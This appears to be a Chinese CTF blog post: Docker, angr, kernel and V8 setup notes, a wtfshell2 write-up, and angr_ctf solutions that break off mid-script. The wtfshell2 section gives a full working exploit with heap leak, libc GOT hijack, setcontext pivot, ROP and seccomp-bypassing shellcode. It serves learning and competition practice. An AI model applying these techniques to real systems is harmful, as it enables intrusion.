sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
sudo apt update
apt-cache policy docker-ce
sudo apt install docker-ce
  • 检测 docker 是否运行:
1
sudo systemctl status docker
  • docker 换源:
1
2
sudo touch /etc/docker/daemon.json
sudo vim /etc/docker/daemon.json
1
2
3
4
5
6
7
8
{
"registry-mirrors": [
"https://hub-mirror.c.163.com",
"https://ustc-edu-cn.mirror.aliyuncs.com",
"https://ghcr.io",
"https://mirror.baidubce.com"
]
}
  • 不用 sudo 来执行 docker 命令:
1
2
3
sudo usermod -aG docker ${USER}
sudo service docker restart
newgrp - docker

docker-compose:

1
2
curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo curl -L "https://github.com/docker/compose/releases/download/1.25.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
1
sudo chmod +x /usr/local/bin/docker-compose

angr 环境搭建

为了不与 pwntools 库引起冲突,可以采用拉取 docker 镜像的方式进行使用:

1
docker pull angr/angr

以下脚本可以方便我们运行 docker angr:

1
2
3
4
#! /bin/zsh
pwd=`pwd`
script=$1
docker run -it -u angr --rm -v $pwd:/mnt -w /mnt angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/mnt/$script" $2 $3

Kernel Pwn 环境搭建

安装 qemu:

1
2
sudo apt-get install qemu  
sudo apt-get install qemu-system-x86

安装 busybox:

1
wget http://busybox.net/downloads/busybox-1.23.2.tar.bz2
1
make menuconfig
  • 在“Build static binary”处按“Y”选中(采用静态编译,为了不添加动态链接库)
1
2
make -j8
make install
  • 编译出来的 _install 就是目标了(这里的报错可能比较多,在网上都可以找到)

编译内核:

1
2
make menuconfig 
make x86_64_defconfig
  • 使用 x86_64 默认配置
1
make bzImage -j4
  • bzImage:arch/x86/boot/bzImage
  • vmlinux:源码所在的根目录下

V8 环境搭建

安装 depot_tools 工具集:

1
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
  • depot_tools 加入你的 PATH 环境变量中
1
2
3
sudo gedit /etc/profile.d/yhellow.sh
---------------------------------------
export PATH="$PATH:/home/yhellow/Tools/depot_tools"

获取 V8 源码:

1
2
3
fetch v8
cd v8
./build/install-build-deps.sh
  • 在 V8 的目录中安装依赖(时间较长)
1
2
3
gclient config https://webrtc.googlesource.com/src.git 
export DEPOT_TOOLS_UPDATE=0
gclient sync

wtfshell2 复现

这个挑战有两个 flag:

  • 1.第一个 flag 隐藏在虚拟文件系统(又名内存)内的“flag1”文件中,甚至无法被虚拟根目录读取,您的目标是 pwn 库并实现 RAA
  • 2.第二个 flag 位于虚拟文件系统之外,这意味着您必须实现任意代码执行(实际上是 ORW,由于seccomp)才能获得 flag
1
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu3) stable release version 2.36.\n
1
2
3
4
5
6
7
8
wtfshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14b74f98df26b1325153b74f6d77440e0b761024, for GNU/Linux 3.2.0, stripped
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/wtfshell/share/wtfshell'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
➜  share seccomp-tools dump ./wtfshell  
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0006
0002: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0003: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x20 0x00 0x00 0x00000000 A = sys_number
0007: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x20 0x00 0x00 0x00000000 A = sys_number
0010: 0x15 0x00 0x06 0x00000009 if (A != mmap) goto 0017
0011: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x03 0x00 0x00000007 if (A == 0x7) goto 0016
0013: 0x20 0x00 0x00 0x00000030 A = fd # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x00 0x01 0xffffffff if (A != 0xffffffff) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x20 0x00 0x00 0x00000000 A = sys_number
0018: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x20 0x00 0x00 0x00000000 A = sys_number
0021: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0023
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0023: 0x20 0x00 0x00 0x00000000 A = sys_number
0024: 0x15 0x00 0x01 0x00000027 if (A != getpid) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x20 0x00 0x00 0x00000000 A = sys_number
0027: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0029
0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0029: 0x20 0x00 0x00 0x00000000 A = sys_number
0030: 0x15 0x00 0x01 0x00000068 if (A != getgid) goto 0032
0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0032: 0x20 0x00 0x00 0x00000000 A = sys_number
0033: 0x15 0x00 0x04 0x00000014 if (A != writev) goto 0038
0034: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0035: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0037
0036: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0037: 0x06 0x00 0x00 0x00000000 return KILL
0038: 0x20 0x00 0x00 0x00000000 A = sys_number
0039: 0x15 0x00 0x05 0x0000003c if (A != exit) goto 0045
0040: 0x20 0x00 0x00 0x00000010 A = error_code # exit(error_code)
0041: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0043
0042: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0044
0043: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0044: 0x06 0x00 0x00 0x00000000 return KILL
0045: 0x20 0x00 0x00 0x00000000 A = sys_number
0046: 0x15 0x00 0x05 0x000000e7 if (A != exit_group) goto 0052
0047: 0x20 0x00 0x00 0x00000010 A = error_code # exit_group(error_code)
0048: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0050
0049: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0051
0050: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0051: 0x06 0x00 0x00 0x00000000 return KILL
0052: 0x20 0x00 0x00 0x00000000 A = sys_number
0053: 0x15 0x00 0x03 0x00000127 if (A != preadv) goto 0057
0054: 0x20 0x00 0x00 0x00000010 A = fd # preadv(fd, vec, vlen, pos_l, pos_h)
0055: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0057
0056: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0057: 0x06 0x00 0x00 0x00000000 return KILL
  • 白名单,但是没有 open
  • read 的 FD 必须为“0”
  • mmap 的权限设置不能为“7”,FD 必须设置为“-1”

入侵思路

首先利用 wtfshell1 的思路完成 libc 泄露和 WAA

然后就需要劫持程序的执行流了,这里我最开始的想法是打 IO,但伪造 _IO_FILE 的过程很痛苦,之后看别人博客才想起可以劫持 libc GOT

  • 可以先用 IDA 分析出 libc 的 GOT 偏移地址
  • 然后在 GDB 中进行调试

对于选择的 libc GOT 是有条件的,它必须以某个存放数据的 chunk 为参数,方便我们把 ROP 链的地址放入 RDX 寄存器里(使用 setcontext+61

1
2
read_max(gbuff, GBSIZE);
char *token = strtok(gbuff, delim);

于是我们选择 strtok 的 libc GOT 为目标,选择它有两个原因:

  • 以存放数据的 gbuff 为参数
  • 如果不修改它的话,它会破坏我们输入的 ROP 链
1
.got.plt:00000000001F6040 D0 80 0A 00 00 00 00 00       off_1F6040 dq offset strspn             ; DATA XREF: j_strspn+4↑r

我们断点到程序执行 strtok 时,看看此时寄存器的数据:

1
2
3
4
5
6
7
0x55e7138db779    call   strtok@plt                <strtok@plt>
s: 0x55e7143e1d00 ◂— 0x96dba0002e667477 /* 'wtf.' */
delim: 0x55e7138dc028 ◂— 0x213f2c2e /* '.,?!' */
-----------------------------------------------------------------
*RDX 0x3b
*RDI 0x55e7143e1d00 ◂— 0x96dba0002e667477 /* 'wtf.' */
*RSI 0x55e7138dc028 ◂— 0x213f2c2e /* '.,?!' */
  • 我们需要一个 gadget 来把 RDI 的堆地址转移到 RDX 中,并且可以继续控制执行流
1
0x000000000008c225: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 
  • 这个 gadget 是从别人的 exp 上拿的,我自己习惯于找 mov rdxcall qword ptr [rdx + n] (没有找到)

然后就要思考如何绕过 sandbox 了:

  • 没有 open 并且要求 read 的“FD”为“0”,这里如果用 ORW 链就很难完成,但是用 shellcode 就简单多了
  • 不过程序 ban 了 mprocess,我们的 shellcode 没有权限

后来发现 mmapprot 如果为“6”的话,申请出来的空间是有权限的,为此我还查了一下 kernel 源码:

1
2
3
#define PROT_READ	0x01
#define PROT_WRITE 0x02
#define PROT_EXEC 0x04
  • PS:Linux shell 的权限安排刚好是反过来的,坑了我一手

于是接下来操作就比较套路了:

  • 利用 setcontext+61 完成栈迁移并执行一次 read
  • 在合适的地方写上一个 ORW,并执行 mmap 和另一个 read,并控制执行流到 mmap 出来的地址
  • 在这个地址上写入 shellcode

编写 shellcode:

  • 找到 open 的替代品:preadv-295openat-295),不过第一个参数必须大于“2”
1
int openat(int  dirfd , const char * pathname , int  flags , ... );
  • 如果 pathname 是绝对路径,则 dirfd 参数没用,不会受到沙盒的影响
  • 找到 write 的替代品:writev,不过第一个参数必须为“1”,并且需要传入一个结构体(需要完成对应的伪造)
1
2
3
4
5
6
ssize_t writev(int filedes, const struct iovec *iov, int iovcnt);
----------------------------------------------------------------------
struct iovec{
void *iov_base; //starting address of buffer
size_t iov_len; //size of buffer
}
1
2
3
4
5
6
7
0x100062    syscall  <SYS_writev>
fd: 0x1 (/dev/pts/1)
iovec: 0x55ba73ee5488 —▸ 0x55ba73ee5498 ◂— 0x3f7b6e6f63746968 ('hitcon{?')
count: 0x1
----------------------------------------------------------------------
00:0000│ rsi rsp 0x55ba73ee5488 —▸ 0x55ba73ee5498 ◂— 0x3f7b6e6f63746968 ('hitcon{?')
01:00080x55ba73ee5490 ◂— 0x100

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
#challenge = './wtfshell_debug'
challenge = './wtfshell1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

key = "set debug-file-directory ./.debug/\n"

local = 1
if local:
#p = gdb.debug(challenge,key)
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def cmd(op):
p.sendlineafter("√",op)

def qq():
cmd("qq")

def lol():
cmd("lol.-l")

def rip(filename,data):
cmd("rip."+filename) # filename == NULL => stdout
p.sendline(data)

def newfile(filename,flag):
cmd("nsfw."+filename+"."+str(flag))

"""
* --: 0 (non-readable & non-writable)
* -w: 1 (write only)
* r-: 2 (read only)
* rw: 3 (readable & writable)
"""

def writefile(filename,data):
cmd("wtf."+data+"."+filename)

def showfile(filename):
cmd("omfg."+filename)

def delfile(filename):
cmd("gtfo."+filename)

def deluser():
cmd("ouo")

def newuser(username):
cmd("stfu."+username)

def newpassword(username,password):
cmd("asap."+username) # NULL == root
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password)

def changeuser(username):
cmd("sus."+username) # NULL == root

def shit():
cmd("shit")

def reboot():
cmd("irl")

def leakheap(username,password):
heap_addr = "\x80"
try_addr = ''

for i in range(6):
for j in range(0xff):
if(j==0xa):
continue
#success("heap_addr >> " + hex(u64(heap_addr.ljust(0x8,'\0'))))
try_addr = heap_addr + chr(j)
cmd("asap."+username)
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password+try_addr)
ret = p.recvuntil("\n",timeout=0.1)
if b"asap: " not in ret:
heap_addr += chr(j)
p.sendline('\x00')
break
else:
continue
return heap_addr

def write_reverse(filename,payload):
whole_size = len(payload)+1
no_null_payload = payload.replace('\x00','a')
for i in range(len(payload)-0x10):
if no_null_payload[whole_size-i-2:whole_size-i-1] == 'a':
writefile(filename,no_null_payload[0:whole_size-i-2])
else:
continue

newuser("yhellow")
newuser("yhellow2")

heap_addr = u64(leakheap("yhellow2","b"*0x40).ljust(0x8,'\0'))
heap_base = heap_addr - 0x880
success("heap_base >> "+hex(heap_base))

presize = 0xd10
payload = p16(presize) + "/"*6

newfile("1",3)
writefile("1","b"*0x300)
rip("1","a"*0x100)
rip("1",payload+"b"*0xf8)
rip("1","c"*0x100)
rip("1","d"*0x100)
rip("1","e"*0x100)
rip("1","f"*0x100)
rip("1","g"*0x100)
rip("1","h"*0x100)
rip("1","i"*0x100)
rip("1","g"*0x100)

newfile("2",3)
newfile("3",3)
rip("1","b"*0x100)
writefile("2","c"*(0x400-6))
writefile("3","d"*0x310)

newfile("4"*0x3f8,3)
newfile("5"*0x3f8,3)
newfile("6"*0x3f8,3)
newfile("7"*0x3f8,3)
newfile("8"*0x3f8,3)
newfile("9"*0x3f8,3)
delfile("4"*0x3f8)
delfile("5"*0x3f8)
delfile("6"*0x3f8)
delfile("7"*0x3f8)
delfile("8"*0x3f8)
delfile("9"*0x3f8)

fakechunk_addr = heap_base + 0x3f0
rip("2","e"*0x100)
reboot()

newfile("1",3)
writefile("1","f"*0x310)
rip("1","e"*0x100)

newfile("4",3)
payload = "p"*0x60
payload += p64(0) + p64(presize+1)
payload += p64(fakechunk_addr+0x18) + p64(fakechunk_addr+0x20)
payload += p64(fakechunk_addr+0x10) + p64(fakechunk_addr+0x18)
payload += p64(fakechunk_addr) + p64(fakechunk_addr)
write_reverse("4",payload)

newfile("2",3)
writefile("2","k"*0x310)
payload = "rip."+"a"*(0x400-4)
cmd(payload)

newfile("3"*0x2f0,3)
newfile("4"*0x2f0,3)
newfile("5"*0x2f0,3)
newfile("6"*0x2f0,3)
newfile("7"*0x2f0,3)
newfile("8"*0x2f0,3)
newfile("9"*0x2f0,3)
delfile("3"*0x2f0)
delfile("4"*0x2f0)
delfile("5"*0x2f0)
delfile("6"*0x2f0)
delfile("7"*0x2f0)
delfile("8"*0x2f0)
delfile("9"*0x2f0)

payload = "a"*0x2f0 + p64(0) + p64(0x41)
write_reverse("2",payload)

delfile("2")
newfile("5"*0x30,3)
newfile("6"*0x30,3)
delfile("1")
newfile("7"*0x30,3)
writefile("5"*0x30,"5"*0x360)

libc_addr = heap_base + 0x760
name_addr = heap_base + 0x26c0
payload = "x"*0x338
payload += p64(0x31)+p64(name_addr)+ p64(libc_addr)

write_reverse("7"*0x30,payload)
showfile("6"*0x30)

leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base = leak_addr - 0x1f6cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

strtok_libc_got = 0x0000000001F6040 + libc_base
success("strtok_libc_got >> "+hex(strtok_libc_got))

payload = "x"*0x338
payload += p64(0x31)+p64(name_addr)+ p64(strtok_libc_got)
write_reverse("7"*0x30,payload)

setcontext_libc = libc_base + libc.sym['setcontext']
mmap_libc = libc_base + libc.sym['mmap']
read_libc = libc_base + libc.sym['read']
success("setcontext_libc+61 >> "+hex(setcontext_libc+61))
success("read_libc >> "+hex(read_libc))


magic_gadget = libc_base + 0x000000000008c225 # mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
writefile("6"*0x30,p64(magic_gadget)[0:6])

pop_rax_ret = libc_base + 0x000000000003f8e3
pop_rbx_ret = libc_base + 0x000000000002f1d1
pop_rcx_ret = libc_base + 0x00000000000e236e
pop_rdi_ret = libc_base + 0x0000000000023b65
pop_rsi_ret = libc_base + 0x00000000000251be
pop_rdx_ret = libc_base + 0x0000000000165f32
pop_r8_ret = libc_base + 0x000000000008c27e

ROP_addr = heap_base + 0x400
frame_addr = heap_base + 0xd00 + 0x10

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = ROP_addr
frame.rdx = 0x200
frame.rsp = ROP_addr
frame.rip = read_libc

payload = p64(setcontext_libc+61) + p64(frame_addr) + bytes(frame)
#pause()
cmd(payload)

rop = p64(pop_rdi_ret) + p64(0x100000)
rop += p64(pop_rsi_ret) + p64(0x1000)
rop += p64(pop_rdx_ret) + p64(6)
rop += p64(pop_rcx_ret) + p64(0x22)
rop += p64(pop_r8_ret) + p64(0xffffffff)
rop += p64(mmap_libc)
rop += p64(pop_rdi_ret) + p64(0)
rop += p64(pop_rsi_ret) + p64(0x100000)
rop += p64(pop_rdx_ret) + p64(0x200)
rop += p64(read_libc)
rop += p64(0x100008)

sleep(0.1)
p.send(rop)

shellcode = asm("""
xor rdi, rdi;
mov rax, 3;
syscall;

mov rbx, 3;
mov rcx, 0x100000;
xor rdx, rdx;
mov rax, 0x127;
int 0x80;

xor rdi, rdi;
push rsp;
pop rcx;
mov rbx, rcx;
mov rsi, rcx;
mov rdx, 0x100;
xor rax, rax;
syscall;

mov rdi, 1;
push 0x100;
push rbx;
push rsp;
pop rsi;
mov rdx, 1;
mov rax, 20;
syscall;
""")

#pause()
sleep(0.1)
p.send('/flag2\x00\x00' + shellcode)

p.interactive()

小结:

学到一些细节上的知识,也尝试了一下 libc GOT 劫持

00_angr_find

了解 angr 基础方法后便可轻松求解:

1
2
3
4
5
6
7
8
9
10
import angr

p = angr.Project("./00_angr_find")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)
sm.explore(find=0x08048678)
print("find: "+hex(len(sm.found)))
found_state = sm.found[0]
print(found_state.posix.dumps(1))
print(found_state.posix.dumps(0))

01_angr_avoid

main 函数过大,IDA 分析失败,传统逆向受阻,但可以用 angr 求解:

不过这个脚本分析的时间有点长,添加 avoid 可以进行加速:(告诉 angr 哪些地址不需要到达)

1
2
3
4
void avoid_me()
{
should_succeed = 0;
}
  • 逆向分析题目时,发现题目已经给出了提示,在 avoid 处写入此地址即可
1
2
3
4
5
6
7
int __cdecl maybe_good(char *s1, char *s2)
{
if ( should_succeed && !strncmp(s1, s2, 8u) )
return puts("Good Job.");
else
return puts("Try again.");
}
  • 同时,我们还可以把 Try again 处的地址写入 avoid
1
2
3
4
5
6
7
8
9
10
11
import angr

p = angr.Project("./01_angr_avoid")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)
sm.explore(find=0x080485E0,avoid=[0x080485A8,0x080485F2])
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
print(found_state.posix.dumps(1))
print(found_state.posix.dumps(0))

02_angr_find_condition

这个题目与之前的有所不同,如果按照之前的思路来写脚本是跑不出答案的

用 IDA 分析一下就知道原因了:

  • 程序把 Good JobTry again 分为很多份,每个执行流分支都有一个,并且地址不同
  • 在这些 Good Job 中,肯定有一个是可以到达的,但是我们不确定是哪个,因此也不能确定要查找的地址

于是我们改变 angr 的写法,使其查找输出 Good Job 的那一个路径分支:(用同样的办法可以避免输出 Try again 的那些路径分支)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import angr

p = angr.Project("./02_angr_find_condition")
init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
print(found_state.posix.dumps(1))
print(found_state.posix.dumps(0))

03_angr_symbolic_registers

本题目有多个输入:

1
2
3
4
5
6
7
8
9
10
int get_user_input()
{
int v1; // [esp+0h] [ebp-18h] BYREF
int v2; // [esp+4h] [ebp-14h] BYREF
int v3[4]; // [esp+8h] [ebp-10h] BYREF

v3[1] = __readgsdword(0x14u);
__isoc99_scanf("%x %x %x", &v1, &v2, v3);
return v1;
}
  • 老版本的 angr 不能很好地处理多输入,因此需要用一些复杂的方法来解决问题(新版本的 angr 可以直接解出答案)

根据程序逻辑,输入的3个字符串的地址分别存于 eax ebx edx

1
2
3
4
5
6
7
8
9
.text:0804892A push    offset aXXX     ; "%x %x %x"
.text:0804892F call ___isoc99_scanf
.text:08048934 add esp, 10h
.text:08048937 mov ecx, [ebp+var_18]
.text:0804893A mov eax, ecx
.text:0804893C mov ecx, [ebp+var_14]
.text:0804893F mov ebx, ecx
.text:08048941 mov ecx, [ebp+var_10]
.text:08048944 mov edx, ecx

在 main 中把 eax ebx edx 放回栈,然后调用对应的函数进行加密

1
2
3
4
.text:0804897B call    get_user_input
.text:08048980 mov [ebp+var_14], eax
.text:08048983 mov [ebp+var_10], ebx
.text:08048986 mov [ebp+var_C], edx

既然 angr 不支持多输入,我们就可以直接把 get_user_input 跳过(从 0x08048980 开始执行程序),然后把符号向量放入 eax ebx edx

  • claripy 模块可以手动创建符号向量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import angr
import claripy

p = angr.Project("./03_angr_symbolic_registers")
init_state = p.factory.blank_state(addr=0x08048980)

password1 = claripy.BVS("password1",32)
password2 = claripy.BVS("password2",32)
password3 = claripy.BVS("password3",32)

init_state.regs.eax=password1
init_state.regs.ebx=password2
init_state.regs.edx=password3

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
answer1 = found_state.solver.eval(password1)
answer2 = found_state.solver.eval(password2)
answer3 = found_state.solver.eval(password3)
print("{:x} {:x} {:x}".format(answer1,answer2,answer3))

04_angr_symbolic_stack

本题目有多个输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
int handle_user()
{
int v1; // [esp+8h] [ebp-10h] BYREF
int v2[3]; // [esp+Ch] [ebp-Ch] BYREF

__isoc99_scanf("%u %u", v2, &v1);
v2[0] = complex_function0(v2[0]);
v1 = complex_function1(v1);
if ( v2[0] == 0x773024D1 && v1 == 0xBC4311CF )
return puts("Good Job.");
else
return puts("Try again.");
}

这次输入的数据存放在栈中,因此需要将符号向量存放入栈中

这时我们要模拟栈帧构建的过程,把符号向量 push 到正确的位置上

1
2
3
4
5
6
7
8
9
10
.text:08048679 push    ebp
.text:0804867A mov ebp, esp
.text:0804867C sub esp, 18h
.text:0804867F sub esp, 4
.text:08048682 lea eax, [ebp+var_10] /* target1 */
.text:08048685 push eax
.text:08048686 lea eax, [ebp+var_C] /* target2 */
.text:08048689 push eax
.text:0804868A push offset aUU ; "%u %u"
.text:0804868F call ___isoc99_scanf
  • 目标就是把 target1target2 处的局部变量给替换为符号向量

先调试程序,分析输入执行完毕后的栈帧:

1
2
3
4
5
6
7
8
9
10
11
00:0000│ esp 0xffc983c0 —▸ 0x80487b3 ◂— 0x25207525 /* '%u %u' */
01:00040xffc983c4 —▸ 0xffc983dc ◂— 0x3d /* '=' */
02:00080xffc983c8 —▸ 0xffc983d8 ◂— 0x3d /* '=' */
03:000c│ 0xffc983cc ◂— 0x0
04:00100xffc983d0 —▸ 0xf7f24088 (environ) —▸ 0xffc984ac —▸ 0xffc9a15b ◂— 'HTTP_PROXY=http://127.0.0.1:7890/'
05:00140xffc983d4 —▸ 0xf7f75990 ◂— 0x0
06:0018│ edx 0xffc983d8 ◂— 0x3d /* target1 */
07:001c│ 0xffc983dc ◂— 0x3d /* target2 */
08:00200xffc983e0 —▸ 0x80487ce ◂— 0x65746e45 /* 'Enter the password: ' */
09:00240xffc983e4 —▸ 0xffc984a4 —▸ 0xffc9a12b ◂— '/home/yhellow/tools/angr/04_angr_symbolic_stack'
0a:0028│ ebp 0xffc983e8 —▸ 0xffc983f8 ◂— 0x0

我们只需要关注 target1 target2 的位置,把符号向量 push 到这里即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import angr
import claripy

p = angr.Project("./04_angr_symbolic_stack")
init_state = p.factory.blank_state(addr=0x08048694)

password1 = claripy.BVS("password1",32)
password2 = claripy.BVS("password2",32)

init_state.stack_push(init_state.regs.ebp)
init_state.regs.ebp = init_state.regs.esp
init_state.regs.esp -= 0x8
init_state.stack_push(password1)
init_state.stack_push(password2)
init_state.regs.esp -= 0x18

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
answer1 = found_state.solver.eval(password1)
answer2 = found_state.solver.eval(password2)
print("{:d} {:d}".format(answer1,answer2))

05_angr_symbolic_memory

本题目有多个输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+Ch] [ebp-Ch]

memset(user_input, 0, 0x21u);
printf("Enter the password: ");
__isoc99_scanf("%8s %8s %8s %8s", user_input, &unk_A1BA1C8, &unk_A1BA1D0, &unk_A1BA1D8);
for ( i = 0; i <= 31; ++i )
*(_BYTE *)(i + 0xA1BA1C0) = complex_function(*(char *)(i + 0xA1BA1C0), i);
if ( !strncmp(user_input, "NJPURZPCDYEAXCSJZJMPSOMBFDDLHBVN", 0x20u) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}

这次输入的数据存放在全局变量中,直接在目标地址上写入符号向量即可(注意顺序)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import angr
import claripy

p = angr.Project("./05_angr_symbolic_memory")
init_state = p.factory.blank_state(addr=0x08048601)

password1 = claripy.BVS("password1",64)
password2 = claripy.BVS("password2",64)
password3 = claripy.BVS("password3",64)
password4 = claripy.BVS("password4",64)

password1_addr = 0x0A1BA1C0
password2_addr = 0x0A1BA1C8
password3_addr = 0x0A1BA1D0
password4_addr = 0x0A1BA1D8

init_state.memory.store(password1_addr,password1)
init_state.memory.store(password2_addr,password2)
init_state.memory.store(password3_addr,password3)
init_state.memory.store(password4_addr,password4)

sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b"Good Job" in state.posix.dumps(1)

def is_bad(state):
return b"Try again" in state.posix.dumps(1)

sm.explore(find=is_good,avoid=is_bad)
print("find: "+hex(len(sm.found)))
print("avoid: "+hex(len(sm.avoid)))
found_state = sm.found[0]
answer1 = found_state.solver.eval(password1,cast_to=bytes).decode()
answer2 = found_state.solver.eval(password2,cast_to=bytes).decode()
answer3 = found_state.solver.eval(password3,cast_to=bytes).decode()
answer4 = found_state.solver.eval(password4,cast_to=bytes).decode()
print("{} {} {} {}".format(answer1,answer2,answer3,answer4))

06_angr_symbolic_dynamic_memory

1
2
3
4
5
6
buffer0 = (char *)malloc(9u);
buffer1 = (char *)malloc(9u);
memset(buffer0, 0, 9u);
memset(buffer1, 0, 9u);
printf("Enter the password: ");
__isoc99_scanf((int)"%8s %8s", (int)buffer0, (int)buffer1);
  • 这次是把数据输入到堆中

由于我们直接跳过了输入,导致 malloc 并没有执行,此时堆应该是没有初始化的

因此我们直接在栈上伪造一个堆空间,然后在 buffer0 buffer1 中写入我们伪造的地址:

  • 注意:angr 默认使用大端写,但写地址时需要指定 endness=p.arch.memory_endness 切换为小端写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import angr
import claripy

